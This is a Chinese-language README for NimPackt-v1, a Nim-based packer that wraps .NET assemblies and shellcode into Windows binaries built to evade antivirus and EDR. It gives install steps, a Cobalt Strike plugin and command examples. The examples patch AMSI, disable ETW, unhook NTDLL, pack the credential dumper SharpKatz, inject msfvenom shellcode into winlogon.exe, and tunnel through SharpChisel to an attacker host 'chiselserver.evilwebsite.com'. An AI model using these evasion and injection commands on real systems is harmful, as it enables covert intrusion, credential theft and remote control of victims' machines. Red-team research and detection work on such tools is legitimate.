
作者:Cas van Cooten(@chvancooten)
特别感谢:Marcello Salvati(@byt3bl33der)和Fabian Mosch(@S3cur3Th1sSh1t)
更新: NimPackt-v1 是我写过的最烂的代码之一(我当时刚开始学Nim)。因此,我开始完全重写NimPackt,代号为'NimPackt-NG'(目前仍为私有)。在这次重写中,我决定将旧分支("NimPackt-v1")开源。因此,该分支不再维护,且不提供任何形式的保证或支持。当然,PR永远欢迎 :)
NimPackt 是一个基于Nim的打包器,用于针对Windows的.NET(C#)可执行文件和shellcode。它会自动将有效载荷封装到一个Nim二进制文件中,该文件随后被编译为原生C代码,从而更难被检测和逆向分析。有两种主要的执行方法:
Execute-Assembly 重新打包一个.NET可执行文件并运行它,可选地应用规避措施,如API钩子解除、AMSI修补或禁用ETW。Shinject 接收原始的.bin文件(包含与位置无关的原始shellcode),并在本地或远程进程中执行它,可选地使用直接系统调用来触发shellcode或修补API钩子以规避EDR。目前,NimPackt具备以下功能。
NTDLL.dll,解除生成线程的用户态API钩子exedll用于攻击性工具的基于C#的二进制文件可在此处找到这里。强烈建议自行编译C#二进制文件。即使嵌入式二进制文件已加密,您也应混淆敏感二进制文件(如Mimikatz),以降低被检测的风险。
如果在使用系统调用编译二进制文件时遇到问题,请尝试将GCC降级到8.1.0版本(尤其是在Windows上)。务必测试生成的载荷!
在Linux上,只需安装所需的软件包,并使用Nimble包管理器安装所需的包和Python库。
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
在Windows上,从这里执行Nim安装程序。确保安装mingw,并使用提供的finish.exe工具正确设置路径值。如果您没有安装Python3,请安装它,然后照常安装所需的包。
nimble install winim nimcrypto
pip3 install pycryptodome argparse
可以使用Docker镜像chvancooten/nimbuild来编译NimPackt-v1二进制文件。使用Docker很简单,可以避免依赖问题,因为该容器中已预装了所有必需的依赖项。
要使用它,请为您的操作系统安装Docker,并确保当前文件夹中包含输入shellcode。然后,按如下方式在容器中启动编译。
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
要安装CobaltStrike插件,从菜单栏选择Cobalt Strike -> Script Manager,然后选择Load。确保从其原始位置加载.cna文件,否则它将无法找到NimPackt脚本文件!

usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]
required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
打包器的执行模式。支持"execute-assembly"或"shinject"
-i INPUTFILE, --inputfile INPUTFILE
要封装的C# .NET二进制可执行文件(.exe)或shellcode(.bin)
execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
"嵌入"到封装二进制文件中的参数,或"PASSTHRU"以接受运行时参数(默认)
-na, --nopatchamsi 不要修补(禁用)反恶意软件扫描接口(AMSI)
-ne, --nodisableetw 不要禁用Windows事件跟踪(ETW)
shinject arguments:
-r, --remote 将shellcode注入远程进程(默认为false)
-t INJECTTARGET, --target INJECTTARGET
远程注入的目标远程线程
-E, --existing 远程注入到现有进程,而不是新生成的进程(默认为false,隐含-r)(警告:不稳定)
other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
输出文件的文件名(例如"LegitBinary")。指定时不带扩展名或路径。该属性将作为原始文件名存储在输出二进制文件中
-nu, --nounhook 不要通过加载新的NTDLL.dll来解除目标进程中的用户态API钩子
-ns, --nosyscalls 不要使用直接系统调用(Windows 7-10代)来替代高级API,以规避EDR
-f FILETYPE, --filetype FILETYPE
要编译的文件类型("exe"或"dll",默认:"exe")
-s, --sleep 通过计算素数休眠约30秒
-32, --32bit 以32位模式编译(未测试)
-S, --showConsole 运行时显示一个带有应用程序输出的控制台窗口
-d, --debug 启用调试模式(在输出文件夹中保留.nim源文件)
-v, --verbose 在运行时打印封装二进制文件的调试信息
-V, --version 显示程序的版本号并退出
示例:
# 封装SharpKatz以在运行时接受参数,修补NTDLL钩子、AMSI和ETW,同时在可见控制台打印详细消息
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# 将Seatbelt封装为DLL文件,并嵌入参数(注意:写入输出文件,因为DLL无法使用标准输出)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# 封装SharpChisel,内置ChiselChief连接字符串,不解除钩子、修补AMSI或禁用ETW,运行时隐藏应用程序窗口
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# 将原始shellcode封装为DLL文件,通过直接系统调用在本地线程中执行,同时解除NTDLL钩子
# 使用命令生成shellcode:msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin
python3 NimPackt.py -i calc.bin -e shinject -f dll
# 将原始shellcode封装为在新生成的Calculator线程中执行,窗口不可见
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# 将原始shellcode封装为在现有的Winlogon进程(第一个名称为'winlogon.exe'的PID)中执行,不使用直接系统调用或解除NTDLL钩子
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
二进制文件存储在安装目录的output子文件夹中。生成的dll文件可通过以下方式执行(入口点可在Nim模板中更改):
rundll32 exampleShinjectNimPackt.dll,IconSrv